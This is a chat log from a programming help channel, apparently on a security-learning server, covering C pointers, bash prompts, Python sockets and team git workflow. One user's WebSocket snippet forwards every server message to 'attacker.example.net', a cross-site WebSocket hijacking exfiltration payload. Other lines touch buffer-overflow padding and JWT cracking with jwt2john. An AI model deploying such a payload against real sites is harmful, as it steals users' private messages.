programming

[ruby cipher]

can anyone tell where i'm going wrong

[lilac holly]

hello

anyone here

[languid monolith]

Just ask ur question

Not that hard

[lilac holly]

wait

#include <stdio.h>
#include <stdlib.h>

int Valueof5=5, Valueof10=10;

void func1(int *pointerof100){
  pointerof100=&Valueof5;
}

void func2(int **pointerof100){
  *pointerof100=&Valueof10;
}

void main(){
  int Valueof100=100;
  int *pof100=&Valueof100;

  printf("%d\n", *pof100);
  func(pof100);
  printf("%d\n", *pof100);
  func(&pof100);
  printf("%d\n", *pof100);
}

what should this code output

[languid monolith]

Run it

[lilac holly]

i know what it does

it outputs 100, 100, 10

[languid monolith]

Then why ask ??

[lilac holly]

isn't that wrong

@languid monolith 😒

[languid monolith]

Mate. Code does what u made it do

[lilac holly]

bro dont fuck with me

[languid monolith]

Saying there is a bug won't fix it. We don't know what u are trying to do

[lilac holly]

if u know it then say

[languid monolith]

Explain ur probleõ

Probleõ

Problems

[lilac holly]

so i pass in the pointer to func1 function

it will change the address stored in it to global var a

[languid monolith]

What are you trying to do ?

[lilac holly]

its just a piece of code that i dont understand why it outputs what it does

i am just printing the value stored in address in pointer p

fun1 and fun2 change the address in p

i think it should print 100, 5, 10

[languid monolith]

Remove the first func call. Samw results

U did t give it a pointer

On the first call

I think

[lilac holly]

no p is a pointer

func2 takes pointer to a pointer var

thats why i passed in &p

[languid monolith]

Make it more readable. Change variable names

[lilac holly]

are u kiddin

it's just 20 lines of code

[languid monolith]

Ok. Then don't ask for help. It's just 20 lines of code

[lilac holly]

may be u should check ur brain

are u crazy

[languid monolith]

X

[lilac holly]

😂

its intution bro

my intution is not accepting the output

[languid monolith]

Name variables properly

[lilac holly]

i was just looking for a nice explanation for the behaviour

[languid monolith]

Change variable names and you will understand yourself

[lilac holly]

ok

[languid monolith]

Int ValueOf10

[lilac holly]

to what should i change them

[languid monolith]

Like that

[lilac holly]

ok

[languid monolith]

PointerOf10

Etc etc

[lilac holly]

i did

#include <stdio.h>
#include <stdlib.h>

int Valueof5=5, Valueof10=10;

void func1(int *pointerof100){
  pointerof100=&Valueof5;
}

void func2(int **pointerof100){
  *pointerof100=&Valueof10;
}

void main(){
  int Valueof100=100;
  int *pof100=&Valueof100;

  printf("%d\n", *pof100);
  func(pof100);
  printf("%d\n", *pof100);
  func(&pof100);
  printf("%d\n", *pof100);
}

[languid monolith]

Send code

Try

Ty

Remove first func and see if the output is the same

First func call *

[lilac holly]

ok

yes its same

@languid monolith

[languid monolith]

See. There's ur answer. It's about the & symbol. Look it up

[languid monolith]

Told u it before top

Too

[lilac holly]

no bro

i am doing it ring

right

[languid monolith]

You need to pass in a pointer.

[lilac holly]

i dont understand

[languid monolith]

Then why doesn't it work ?

[lilac holly]

pof100 is a pointer!

wait

let me check

[languid monolith]

Yes. But you need to pass in a ref to it

[lilac holly]

well thanks for your time

@languid monolith

[languid monolith]

Ok

No

Np

[lilac holly]

nice to meet u

[languid monolith]

U 2

[stark lance]

so anyone want too help me with customizing my terminal? i suck at bash

[kind sluice]

are you just trying to customize your prompt or ?

[stark lance]

yea, i'm reading up on a few things, going too see what i cant do myself.

[kind sluice]

Something like this might help for prompts, and give you more ideas on it: https://scriptim.github.io/bash-prompt-generator/

You can get as complicated/simple as you want - to include diving into functions in your .bashrc as needed

[stark lance]

wow thank you! @kind sluice

is there a way too divide things i pull from a command? like say something is above another listing an i want too add a line -------- before seeing the new text underneath?

or even adding each thing in a box so it's more neat

here is what i have currently, I want too add something that'll clean it up a little better.

i want too add a line in between XvM an OSINT with ------- but i get a bash not found error

ok i found something on the webs

[stark lance]

this is actually rather fun (ps i'm not a programmer, i know very little about coding. just the basic syntax for python,c,c++ but now i'm intrigued too learn more)

[frosty ice]

isn't xeon for servers?

I've actually learnt the Python very well, but this OOP thing confuses me a lot.

[vernal vigil]

CodewithMosh and i think Sentdex explains OOPS in python very well, check em out @frosty ice

[stark lance]

correct

[onyx merlin]

And workstations

[stark lance]

also correct

[frosty ice]

I've checked lots and lots of sources, I suspect that it will help me.

[stark lance]

i've added the weather also, Good too know the temp in my area

[frosty ice]

You should add parameters too. Like,

<command> --weather
<command> --architecture
<command> --processor

My recommendation, but not really required

[stark lance]

i'll try that, I'm learning too grep pretty good while doing this

[stark lance]

so i've figured out that parrot has mpv which is a terminal based video player, So inside my .bashrc script i put a rickroll

opens terminal RickRolled (I'm going too learn how too build my own linux os, i'm going too make a troll os which everything just is a rickroll)

[brazen eagle]

I think I'm losing it, send help

# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pad = b"\x41" * offset

[magic falcon]

python3?

[brazen eagle]

yes

[magic falcon]

write to a raw buffer

[brazen eagle]

I know

[magic falcon]

otherwise the output gets mangled hard

[brazen eagle]

I was referring to the comment

[magic falcon]

lol

[brazen eagle]

sys.stdout.buffer.write(payload)

doesn't help when there's a 0x0A in there though

[magic falcon]

I figured that the standard offset testing string

[brazen eagle]

it is

or screaming

[magic falcon]

it can be both

[brazen eagle]

BoFs are vikings confirmed.

yell until it falls

[magic falcon]

https://tenor.com/view/pitter-patter-lets-get-at-er-letterkenny-gif-14474655

[brazen eagle]

AAAAAAAAAAAAAAAAAAAAAAA *smash*

[solar bay]

What happened?

[brazen eagle]

BOF

[rotund onyx]

Best coding language for hacking

??

[lilac holly]

there are a few different languages that are good for hacking such as Python, C, C++

[rotund onyx]

Any that are great..

[lilac holly]

those three

[rotund onyx]

Thank you

[lilac holly]

no problem!

[surreal bronze]

Remember tho, hacking =! programming

[frank flume]

where do ı live

[vernal vigil]

Probably on your home or office or uni dorm

[shy socket]

is there a way in pwntools to do a search for a "gadget" like "call sym.imp.myfunc" ? I know how to get the address of sym.imp.myfunc from the symbols list but I would like to be able to find the call for this symbol

[brazen eagle]

probably?

[shy socket]

yeah probably, but their API doc makes one wish for more.

[brazen eagle]

It's pretty spartan, yeah

[manic shore]

how do i convert my python file into an apk without kivy or any framework?

[onyx merlin]

You don't

[brazen eagle]

Err apks are basically jar files no?

[onyx merlin]

Spicy compiled java yes

[brazen eagle]

Yeah

[onyx merlin]

Well, usually

They're the standard android app format. You can have other languages.

[brazen eagle]

I mean you can probably use jython...

It would be a monumentally bad idea though

[surreal bronze]

mostly java yes

[brazen eagle]

JVM I suppose

[solar hull]

well not really, it was dalvik and nowadays something different.

Android Runtime (ART)

[solar dust]

Does anyone know how to install C# on Arch?

[onyx merlin]

This seems pretty promising.

[brazen eagle]

They're the same API though

So you should technically be able to throw scala at android...

[lilac holly]

does anyone really find Pseudocode useful when making a program or script?

[fading lark]

not sure if assembly is even called programming, but can someone elaborate on this please? https://i.imgur.com/7zeVZg4.png

[onyx merlin]

Assembly is a programming language

[fading lark]

I know

[onyx merlin]

not sure if assembly is even called programming

[hearty estuary]

cmpq compares s1 and s2 without storing the result of the comparison in a "destination" (so it does not modify s1 or s2) instead it sets a flag, for example, if the s1 and s2 are equal, it will set the zero flag (ZF)

[fading lark]

ohh okay, thanks

[surreal bronze]

https://www.youtube.com/watch?v=AzLqTgC0E0s

👀

[true pumice]

+rep Engineer Man

[formal kettle]

helps a lot with id's and css

[mortal flint]

Just started watching. I love the "Dart is a lot like golang in that nobody asked for it and it doesn't really address any issues"

[onyx merlin]

Except no one uses dart but lots of people use golang

[mortal flint]

yes but we don't like those people

[onyx merlin]

Ouch

[mortal flint]

it was sarcasm 🙂

[onyx merlin]

It's actually annoying often to make vulnerable code in golang.

Simple command injection is actually reasonably difficult to pull off

[mortal flint]

well, I'll take your word for it, I haven't worked with it enough to know

I WILL say I disagree with several of his rankings in that video though

but a lot of that is subjective

[onyx merlin]

Essentially it's like exec IIRC, where you need to pass a series of arguments rather than just a string

[brazen eagle]

Eh I'm not convinced that he was totally objective there. But I really really dislike JS

[dusty ore]

int prime_number(int j){
int k=(int)sqrt(j) - (int(sqrt(j))-1)%2;
while (j%(k--)) {k--;}
return ((k==0)&&(j>1));
}

I'm new to programming but can i ask if this is the most optimal way of finding prime number?

[solar hull]

It is not.

As a longer answer: Finding primes is computationally expensive. There are better methods than just looping through all integers.

For 32 bit integers, the performance of that algorithm won't be that bad, but you'd still be looping through 2^15 numbers in the case your prime is in the magnitude of 2^15.

[dusty ore]

I see

[solar hull]

Oh - I meant if the prime is in the magnitude of 2^31

[fickle urchin]

Can somebody explain to me the difference between: subprocess.check_output([‘ls’],) and subprocess.check_output, ([‘ls’],)

Its python code. The last one has a , separating the arguments and the command. They behave differently ( I can explain if necessary), I simply don’t get the second syntax I think

[fair zephyr]

Maybe

[onyx merlin]

That was days ago.

Assembly is a programming language.

[fair zephyr]

yea

[solar hull]

The former calls function check_output from module subprocess with an array in a tuple with one item as a parameter. The latter is a tuple definition: It defines a tuple with two items in it: Reference to the function subprocess.check_output and the single-item tuple (['ls'],)

[fickle urchin]

I understand, I played around a little with both ways and I get the difference now in the context of the payload I used it for 👍 Thank you 🙂

[wispy kestrel]

Gave +1 Rep to @solar hull

[boreal patrol]

if anyone knows how to use tkinter in python please dm me. Thanks

[true pumice]

I do, but I would prefer to discuss here

[boreal patrol]

Sure, im currently working on a script which pings 3 servers and display the status result on the GUI, however if its alive the status should be in green and if not, it should be in red < in GUI too. This is where im finding difficulty to make it work

[solar hull]

Is your problem with the colours or showing the result in GUI?

[boreal patrol]

colors

[fleet vortex]

In Java, when is the btye data type used? I mean why do you need to store things in a byte[] array when there is the possibility of doing so with a String? Is it for memory-saving purposes?

[onyx merlin]

Bytes are usually used for raw binary data

Things like files or images that are not text

I don't know why you'd use strings to represent things that are not text unless you're incredibly masochistic

[mild owl]

im building a chrome app and wondering how i can use bootstrap and jquery etc

[solar hull]

With bytes you can be sure the data won't be messed up with in conversions for representation etc.

[onyx merlin]

You can also do things like XORs and ANDs and fancy things like that

[solar hull]

You can also mutate byte arrays (or char arrays), Strings are immutable.

[onyx merlin]

That's more specific to java, but also useful

[solar hull]

now I have to look up a term, but there's also security issues related to String storage in Java.

[fleet vortex]

Thank you all guys!

[solar hull]

blah, can't find the exact term I was thinking of, but in any case, if you'd be storing something like passwords in the String, it might be left hanging around in the memory at least until gc sweep. You can clean up the char array to avoid that

[lilac holly]

string interning I believe

[solar hull]

Looks familiar, yep. And it was worse with earlier Java versions, interned Strings ended up in permgen

[lilac holly]

it gets funny when working with genomics - you inspect your heap and it's full of permutations of A T C G 🙂

[magic falcon]

Canonical string registration - afaik, the jvm still does this, as do most interpreted languages

that way repeated requests for the same string contents give references to the same canon string representation instead of allocating new string literals in memory

[mild owl]

i finally finished my chrome app

[dusty fable]

Any Best resources for learning python

[coral gull]

Theres lots of free resources on youtube, but codecademy offers a good python course as well :)

[languid monolith]

I have a Module that uses newer ES Syntax:

export const EPSILON_FLOAT32 = 1e-7;
^^^^^^

SyntaxError: Unexpected token 'export'

Is there any way for me to still use the module?

[true pumice]

What language is this?

[warped axle]

Quick question how do upload a file to a website with curl?

Nvm might have figured it out

[tepid cargo]

lol js

[tepid cargo]

there are multiple ways actually.. one is using a transpiler like babel.
2 is packing the code using webpack or browserify.
3 is changing the filename to mjs and using experimental modules.

[languid monolith]

I have tried them all, 5-6 hours. Renaming everything, is well, over 500 files if not more. then, babel I didn't get working, and browserify or similar isn't a option since same problem, manymany files

I am trying to use tenserflow machine learning API

TFJS-Node

[tepid cargo]

then bundle ur project using webpack ezpz

with mode being 'node'

[languid monolith]

but I need node

I am making a electron app

with node

[tepid cargo]

yeah. that' what i am saying as well

u bundle the files using any packer. then open that file using node.

[languid monolith]

aight will try thanks

[tepid cargo]

like maybe there are 100s of files. when u use a packer it will pack it into 1 file (with multiple chunks) then u can just open the entrypoint with node.

[languid monolith]

ohh aight

[languid monolith]

ok so, I managed to convert it all. All syntax errors are gone yay, but now I am back where I was before reinstlaling windows because of this:

api-v4\tfjs_binding.node is not a valid Win32 application.

Things I have tried:

npm rebuild @tensorflow/tfjs-node --build-from-source

[tepid cargo]

maybe remove the node_modules folder, then npm clear cache.. then do npm i?

[bitter field]

yea removing the module folder and reinstalling fixes 90% of problems for me

[languid monolith]

tried already

same error

[languid monolith]

yeh same if it isn't binding errors

binding errors won't fix by reinstalling the modules

binding errors are internal

I made a issue report on their github, since they are the makers maybe they can help me

[tepid cargo]

yes.

cause while installing they compile some code as well

as extension to the js package.

[languid monolith]

yea

[thin shoal]

anyone on?

[true pumice]

Yuh

[thin shoal]

hi there

im working with js websockets and getting some errors

Uncaught DOMException: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.

and my code is

<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    websocket.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Some text sent to the server");
</script>

what am i doing wrong?

@true pumice

[true pumice]

You’re not waiting for the connection to establish

Well I say you, the script isn’t

Which line is it crashing on?

[broken shuttle]

How long did it take before you felt comfortable programming in your first l coding anguage?

[true pumice]

It took a while to get comfortable with the constructs. I really quickly picked up programming and could make loads of projects, but I wasn’t very consistent.

After a few years of on and off programming, I finally got to the point where I could basically do anything with a little googling.

[broken shuttle]

@true pumice Thanks for your reply! I don't need to expert level just sufficient to get by. Would 1-3 months suffice?

[wispy kestrel]

Gave +1 Rep to @true pumice

[true pumice]

As long as you’re actively learning in those months.

After around 1 month you should have the ability to break code down and program very well - which is super great because you should be able to transfer to any language and understand most code.

I was fortunate enough to be in a computer science course while I was studying, but I have taught many people from knowing nothing, and even after a week they start to show their knowledge in the basics of a language.

All depends on your dedication :)

[broken shuttle]

@true pumice That's super helpful! I will aim 2-4 hrs of programming a week into my Study focus. Using THM, Linkedin Learning and Google to aid me.

[true pumice]

Sounds great! You’ll be great at it in no time :)

[feral moss]

ptrace question:
When a process calls ptrace on another process (the child process), does this call makes the child stop and continue with the next ptrace call like ptrace(PTRACE_SYSCALL)?

[normal bone]

Can anyone just tell me where is the reverse shell dedicated channel?

I'll be thankful to you

[onyx merlin]

There isn't one?

[restive fossil]

okie dokie, so im trying to connect mysql db to python, so ive install mysql connector using this cmd pip install mysql-connector-python, so i put import mysql.connector in a py file, i tried running it using python sql.py, error saying that i didnt have that module, but when i tried python3'ing it, it worked, which means that i installed the library in the python3 place and not the python2 place,when i try running python -m pip install mysql-connector-python, it said pip not found, tried sudo apt-get install python-pip, said that python3-pip replaced it, what do i do?

[onyx merlin]

Don't write python2

[restive fossil]

when

when do i not write python2

[onyx merlin]

All the time

Python2 is deprecated

So you should not need to install modules for python2

[restive fossil]

thing is, w3schools, which is what im learning, teaches python2, not python3

[onyx merlin]

Remember that python on some systems can point to python2 while on newer systems it will be python3.

[onyx merlin]

So find a better resource

There is no point learning python2.

It is deprecated for a reason.

[restive fossil]

why?

[onyx merlin]

https://www.python.org/doc/sunset-python-2/

[restive fossil]

so what are the main differences between python2 and 33

[onyx merlin]

You should not be writing any python2 code

[surreal bronze]

Wdym w3schools doesn't teach in python3?

[restive fossil]

wait does it

[surreal bronze]

Yes.

[restive fossil]

i literally had no idea

ok

that makes life a lot easier

[onyx merlin]

On Windows, python3 is installed as "python"

[restive fossil]

ahhhh

[surreal bronze]

You can tell from the print syntax :)

[restive fossil]

that makes sense

i use linux

[restive fossil]

ight thx

[wispy kestrel]

Gave +1 Rep to @surreal bronze

[restive fossil]

and thx as well

[restive fossil]

okie dokie

theres the py file

theres the result

[onyx merlin]

Not a python issue, that's a mysql issue

[restive fossil]

ive gotten this error before, it happens when i dont sudo when i try accessing the db

here i'll show u

[onyx merlin]

Ok. That supports what I said.

I bet you can find out how to solve it with some research

[restive fossil]

ok

[restive fossil]

cant find anything

do u have a solution?

[magic falcon]

Your first step is to figure out how to log into the database locally. Then, you can start doing fancy stuff with programming.

[restive fossil]

i mean, i can, just not with python

[magic falcon]

You are overlooking some very basic DB admin stuff, re-reading the MySQL quickstart is where you should start.

[restive fossil]

ok so what have i missed

[restive fossil]

yoooo dont ghost me like that

[magic falcon]

I just told you what your next steps are. If a user isn't able to connect, there is a misconfiguration. Start back at step 1 and see where you skipped a step.

[restive fossil]

thing is i haven't done anything different to what they're doing

i changed the code to see if it would work but still no luck

[onyx merlin]

As we said before, it's not an issue with Python.

It's not an issue with your code.

[restive fossil]

i changed the code because i thought a fixed value wouldnt work

for the user and pwd

[onyx merlin]

We told you it wasn't an issue with your code.

[restive fossil]

ok

[onyx merlin]

Please remember that everyone here is a volunteer, and we're trying to help you as best as we can. Please listen and take into account what we say. It's ok to ask questions, but please listen

[restive fossil]

alright

ahhhhhh

i found the mistake

yayyyyy

it workeddd

alright thank u both for ur help

[rich wave]

hey guys, I am runnning jwt2john.py and I keep getting in the error

wondering how I can solve this.

[mortal flint]

at a guess, the utils.py is expecting a string but is being passed a bytes object

I'd print out what's being passed in at line 15/16 there. And also read through the code that it calls, see if you can figure out what it's expecting

but it's looking like either bad input, or maybe the libraries changed between versions

[rich wave]

yeah likely the latter

so this is the source code

ah so im parsing a byte object

[mortal flint]

Yeah, that s: str is saying it expects a string

[rich wave]

when it is trying to see string

[mortal flint]

but the error you got before is because it's passing in a bytes object

side note: this is why python is a pain, dynamic typing

[rich wave]

yeah lol

would (s: str) take an byte object regardless?

[mortal flint]

python lets any variable be any object

[rich wave]

yeah

okay

i was thinking with s:str, it would limit to str

[mortal flint]

that s: str is only a type hint, and python ignores it. Only type linters care about that

[rich wave]

okay

i see

[mortal flint]

mypi?

[rich wave]

So i guess I need to convert my bytes into a string first?

got it

[mortal flint]

is jwt2john your code, or something you found?

[rich wave]

i found

its developed way before the pyjwt changed theri source code ig

but yeah lesson learned!

[mortal flint]

print parts[2] before you pass it in

[rich wave]

yep

converted it into a str

[mortal flint]

I'm only guessing here, but I think maybe jwt2john is forcing it to bytes for some encoding reason- probably to make sure special chars don't cause issues, but I don't think that would happen with a jwt token

but yeah, casting it back to a str before passing it to the decode should be fine

[rich wave]

yeah

thanks !

[mortal flint]

you're welcome!

fixed it?

[rich wave]

yep!

[mortal flint]

cool 🙂

[long tartan]

Just wanted to share that. As an exercise, i had to implement AEs-ECB on python, and it's done !
https://github.com/Maeglin1908/cryptopals-AES_ECB
It was a really nice exercise ! Plenty of searches, and tries and fails haha
It acceptsfor datas, strings (raw, hex, base64) as input, or inside a file. The key is only ascii string, tho.
Feel free to any advices if you want :)

[haughty oracle]

hello ! i have a socket connection between 2 program, and i want my program to recv any information but i have to enter that recv(1024) i have to say it the lenght of the socket how can i automate that ?

i have to do like python len(bytes("test"))

?

[solar hull]

I take it you're using python here. As per documentation, the number is the maximum number of bytes received by that operation.

[lilac holly]

What is that; a terminal or code editor?

[surreal bronze]

terminal on the right

vscode on the left

@lilac holly

[lilac holly]

ah

[haughty oracle]

@solar hull i don't understand x)

^^*

[solar hull]

The call will return an array of bytes from what's available in the socket to receive. It's not guaranteed to receive exactly the number of bytes you specify there, you specify the maximum number of bytes to get.

[haughty oracle]

ooook

so what i do whit my recv(1024)

[solar hull]

What are you trying to do with it?

[tiny raptor]

I studied the book now I have a good foundation what should to do right now

[surreal bronze]

do projects :)

[tiny raptor]

Which project

[surreal bronze]

any you fancy

checkout pins for a big list of them

[tiny raptor]

I wanna to study black hat python but now I don't have new version

Now stuck like 3month waiting for new one but Now found the new pdf free***

[runic verge]

Practise coding with random ideas / projects to get better and learn deeply.

[magic falcon]

Start a project that is meaningful to you. It doesn't have to be anything big, and it doesn't have to be a contribution to a public opensource project. Pick something you like to do; a board game, a puzzle, a computer task you find tedious, and figure out how to do it in a python.

[haughty oracle]

@solar hull i am trying do to a server / client
and i want the server and client to communicate
but i don't understand the number of recv and i don't want that to block me
i think that is like a limitation of data and i don't know how to use it

(ping me plz wen you answer me because i don't see your answer ^^* ty)

[solar hull]

If there's two bytes available in the TCP socket to receive, and you call socket.recv(1024), you will get two bytes. If there is 1025 bytes available, you will get 1024 bytes, as that's the maximum you've specified in the call.

[glad trail]

a few friends and I decided to work on a 2d Python game together, gotta build up that "work" experience and we figured showing collaboration never hurt anybody.
question, what's the best way to collaborate on this? like sharing files and such. github?

[solar hull]

github and gitlab are both good for that.

[glad trail]

would i just create a private repo and share it with them? sorry, for school we've only done pair programming with screen share, so larger stuff like this where we won't necessarily be working on the same things at the same time is new.

[solar hull]

That should work.

[glad trail]

sweet. would it be worth outlining our development in there? like who is assigned to do what, etc, so future employers can see it? or is that just overboard

[solar hull]

I'd suggest trying to do some project management on the side. Plan releases, manage tasks and issues etc

[glad trail]

ah that answers that question lol. thank you!

[wispy kestrel]

Gave +1 Rep to @solar hull

[haughty oracle]

@solar hull ok so what did i do ?

[solar hull]

You haven't exactly told what you're trying to do there. But remember that a TCP socket is a stream. You could handle it as one.

[mortal flint]

Git is just a code repository, not really used for project management. Gitlab can do that. Or Jira, or Trello, or a variety of others. If you're wanting to put something on the resume, Jira is used a lot in industry.

[solar hull]

github has at least issues and releases as well.

[mortal flint]

True, but issues aren't really a project management thing

Unless they've added new features since the last time I used it

[solar hull]

No idea what's there, haven't really used it a lot 🙂

[mortal flint]

same. Not recently, at least

If we're talking "true" project management/planning, that starts getting more into backlogs, epics, etc., and I don't think github offers that. Gitlab does, but their free version doesn't have epics or some other "enterprise" features, but probably perfectly fine for a toy project like this. But I'm guessing they can also get a student license for jira or trello. Many universities have that.

[glad trail]

I'll look into Jira, most companies have student licenses i can leverage

[magic falcon]

Any SCM tool will be worthwhile. git is the standard, any git variant will be fine. If you aren't into git, there are other tools still in use in industry, such as subversion. If you are not comfortable with commandline, there are a few good GUI tools and file browser integrations as well.

[mortal flint]

yeah, I would definitely recommend git over subversion. I haven't seen a company actively using that (or a non-git derivative) in close to a decade.

[magic falcon]

No need to to go full-bore on Jira. Jira has a lot of stuff that will just confuse you to start out with. Trello is a good way to organize a kanban that doesn't require a lot of overhead

[mortal flint]

agreed

If you're new to these tools, trello is probably the lowest barrier to entry for you. There are also free/open source alternatives

[magic falcon]

Git has more overhead to learn - it's really easy to get super lost. When I was a TA, 3/4 of my office hours were 'how to do unbork my merge'

[mortal flint]

you do have a point there

[magic falcon]

subversion is more for file system sync than deltas; i think it's more beginner friendly

[solar hull]

My guidelines for git: Rebase often. Never pull when git command line suggests you to.

[magic falcon]

Forking workflow is my jam.

[mortal flint]

I've taught people to use git as their first/only version control system though, it's not too bad

my personal favorite GUI is gitkraken. Worth the $50 for pro

[magic falcon]

Will second the gitkraken reccomendation.

[mortal flint]

free is still very useful too

[magic falcon]

I also pay for gitkraken, because it lets me be super lazy with remembering all the git CLI options

[glad trail]

yeah, trello might be the one judging from their sales pitch. we're still going to put it up on github (obviously so people can see the work), but we want to be able to put "collaborated over X using Y with a team of 8+" on the resume, or something like it. to catch a hiring managers eye

[mortal flint]

@glad trail Are you doing a degree in computer science? What year?

[magic falcon]

The git SCM tools aren't bad, but I don't think they are as intuitive as gitkraken

[solar hull]

Oh, another thing for git: Learn to bisect. It's worth its weight in gold.

[glad trail]

2nd year, comp sci with a security engineering focus.

[magic falcon]

--blame arhu 😄

[mortal flint]

I'm not sure I've ever done a git bisect

[magic falcon]

it's basically binary search for commits

[solar hull]

You probably should have 😄 It's just excellent for finding bugs. But naturally, it requires having working commits and that the commits are not huge.

[mortal flint]

brockfu- I'd say start with trello then. Easier to just create and move issues than jira is. Jira will look better on a resume, but you can do something with that in the next 2 years. For now, you're more focused on writing the code and collaborating/figuring out that workflow

[solar hull]

As someone using Jira in their daily work, I hate Jira.

[mortal flint]

I don't think you'll find anyone who actually LOVES their project management tool, whatever it happens to be

[solar hull]

Well, part of that might have to do with our Jira being hosted on another continent. It's laggy as hell.

[magic falcon]

I really think that finding the 'right' tool is just finding the one that is the least irritating for your use-case

[glad trail]

yeah, we're discussing trello now. in between arguing over who has to be THE project manager lol no one wants to be "that guy"

[mortal flint]

do it round table style then

[magic falcon]

find a business student to be your PM

[mortal flint]

how many ppl in your group?

[magic falcon]

tell them to go learn sigma 6

the hard part about being the PM is managing the deliverables without doing the work

also realize that every type of practice is garbage, and your team needs to be flexible to get the job done

[surreal bronze]

What's uppppp

What's the topic we're talking about?

[mortal flint]

brockfu- college student doing their first collaborative project

tools and practices

[magic falcon]

ultimately, every project is estimated completely using a waterfall schedule to begin with. Then it's usually turned over to a PM and an 'agile' team which proceed to fail as hard as they can until they get something that isn't a flaming dumpster or everyone gives up

[glad trail]

right now there's 5 of us. getting a business student to do it would actually be funny. we're going to do this multiple times, so we're making a game with python because it really shows off our understanding of the language (in our opinion), then more projects with C, C++, JS. so we'll end up switching roles around as we go.

[mortal flint]

with an odd number, that works

[magic falcon]

Another thing I'll recommend for your workflow: no one is allowed to merge their own commits to master

[mortal flint]

meet once a week, everyone votes on the top 1 to 3 most important tasks. Just do those. No need for a ton of overhead

[magic falcon]

I cannot stress that enough.

[mortal flint]

Yes. Get in the habit of having every pull request get code reviewed by 2+ people before merge

[haughty oracle]

@solar hull yes but, if my client send to the server like a phrase but another time he send a big data like a book, what did i do ? recv(1024) will have a problem or be a problem ?

[glad trail]

yeah we've discussed this. we originally weren't going to have team structure, but in order to avoid a mess we decided we should do this as professionally as possible.

[magic falcon]

The difference between screwing around and having a project is documentation. Do not neglect that side of things.

I'm really draconian about that when I'm a reviewer for other people's PRs

If there is no documentation, it gets rejected until the documentation is in place

[haughty oracle]

can i put like recv() or recv(9999999999999999999999) ? ^^*

[magic falcon]

Chunkify and repeat the read until out of data.

[solar hull]

as itself it won't be a problem. But you might have to have some kind of socket protocol. The TCP socket won't provide anything else than the data.

[haughty oracle]

why some kind ?

[glad trail]

that's a good point.
at the end of the day we want professionals to look at our project and be convinced professionals accomplished it. not a bunch of punk 2nd years lol

[mortal flint]

brockfu- if you really want to do it "professionally", get a friend, maybe even one who isn't a computer science person, to be your "customer". Demo to them every 2 weeks, and let THEM tell you what features you need to add

[solar hull]

Because you need to have some kind of a protocol defined on what actually is transferred over the socket. The protocol might be simple framing like "number of bytes in the following message" followed by the bytes, or something more complex.

[mortal flint]

the other nice thing about this project you are doing is that you can use it as a portfolio when you go to interview

[haughty oracle]

ok

[magic falcon]

You are doing this in python, you said? Learn how to document with Sphinx.

[haughty oracle]

so i demand the byte on a message i set the byte on the recv() and i collect the message ?

[solar hull]

I think recv requires having a size to receive, and the documentation suggests using a relatively small exponent of two as the value.

[magic falcon]

It's going to be intensely painful, but you will learn a lot.

[solar hull]

I don't quite get what you mean here.

[magic falcon]

If you put too big of a value in, you can thrash the crap out of the buffer used by the network stack. Do not recommend.

[mortal flint]

I've never used sphinx. Is this similar to javadoc, or not code-level doc ?

[glad trail]

that's the plan. i want them to look at it and think i was employed to do the work, not the standard project you see on github. question about that, is it appropriate to send people to my github to view a portfolio? or should i present it in some other way? this would be the first thing i'd actually feel is appropriate to do that sort of thing

[haughty oracle]

i recieve a firts message whit the byte lenght whit like recv(1024) (i think its good)
i prepare my second recv whit the byte lenght that i have recieved like recv(byte_lenght)
?

[magic falcon]

It is; it's similar to any kind of inline documentation generator. I've primarily used doxygen, but IIRC it's similar in nature to javadoc as well.

[mortal flint]

I would say it's absolutely okay to put a link to it on your resume or linkedin page

[solar hull]

If there's 1024 bytes on the first read, the read will consume all 1024 bytes from the stream.

[haughty oracle]

ook

[magic falcon]

Include your github on your resume. I keep a sanitized version of my resume on my github, as i write my CV in latex.

[haughty oracle]

ty

[mortal flint]

Personally, I don't have a public github acct, and try to keep a very low profile in terms of social media, but many companies these days ask for github links.

[magic falcon]

My company actively encourages us to have a public github; I mainly put things on there to have the bare minimum I can point to as my personal 'brand'

[mortal flint]

yeah, lots of companies want to see an example of your work. Thankfully I have enough experience that I can bypass needing to have a public git presence

[magic falcon]

It also helps since I do a lot of work with opensource. Being able to upstream is a huge benefit to me and to the customers I engage with.

[mortal flint]

I can definitely see that

[glad trail]

thanks for the input!

+rep @mortal flint

[wispy kestrel]

Gave +1 Rep to @mortal flint

[mortal flint]

You're welcome :). Good luck and have fun with it!

SOmething else we have not discussed at all yet is testing

Do automated unit tests

[magic falcon]

One dumpster fire at a time Empty:)

[onyx merlin]

Ew testing

[mortal flint]

better yet, have that be a part of your build pipeline 🙂

[onyx merlin]

Just write the code correct the first time smh

[mortal flint]

Okay, I need to nitro boost just to get a dumpster fire emoji

[mortal flint]

Easier said than done

[onyx merlin]

I test as I go, but then I don't write code that people rely on

[magic falcon]

Automated testing only makes sense once you have infra in place though. Until you can kick over the anthill with a git webhook, pretty much stuck with unit and integration tests

[mortal flint]

well, automation is fairly easy, if the tests are there

if you've got pytest or nunit tests written, hooking that into some kind of automation isn't too hard

[magic falcon]

If one doesn't have at least a pipeline somewhat in place, what's the use case for automated testing? I only see it used when there something like jenkins

[mortal flint]

those tests can still be run manually before/after merging

getting into the habit of writing small, reusable, easily testable pieces of code NOW will help your entire career

[magic falcon]

but then are they really automated?

[mortal flint]

no. But they are tests.

[solar hull]

Setting up gitlab workers for a gitlab pipeline is not a major hurdle. Of course you need to host them somewhere.

[magic falcon]

i agree, testing shoudl be used everywhere, but running pytest before a merge isn't automation

[mortal flint]

and tests almost always have value

[surreal bronze]

testing = good

[magic falcon]

Agree with that. TDD or BDD should be included from start of a project, ideally.

[mortal flint]

So at least they should be writing tests, I think we all agree

[surreal bronze]

I always run tests on every main function with pytests / nox

[magic falcon]

Writing tests after the code is done is always the least effective way to test

[surreal bronze]

saved me so much time

[mortal flint]

whether or not they want to automate that with builds is another topic

[magic falcon]

Yes

running code coverage is a really good inclusion to the test process as well

[surreal bronze]

cc is amazing

I would say its a requirement to have good testing if your working with other people

[magic falcon]

It even helps with security - many frameworks require 100% code coverage as part of SDLC

[mortal flint]

I don't think I've ever seen 100%

[surreal bronze]

100% is pretty insane

I normally go for ~90%

[magic falcon]

PCI requires it for anything that touches a PCI environment

[onyx merlin]

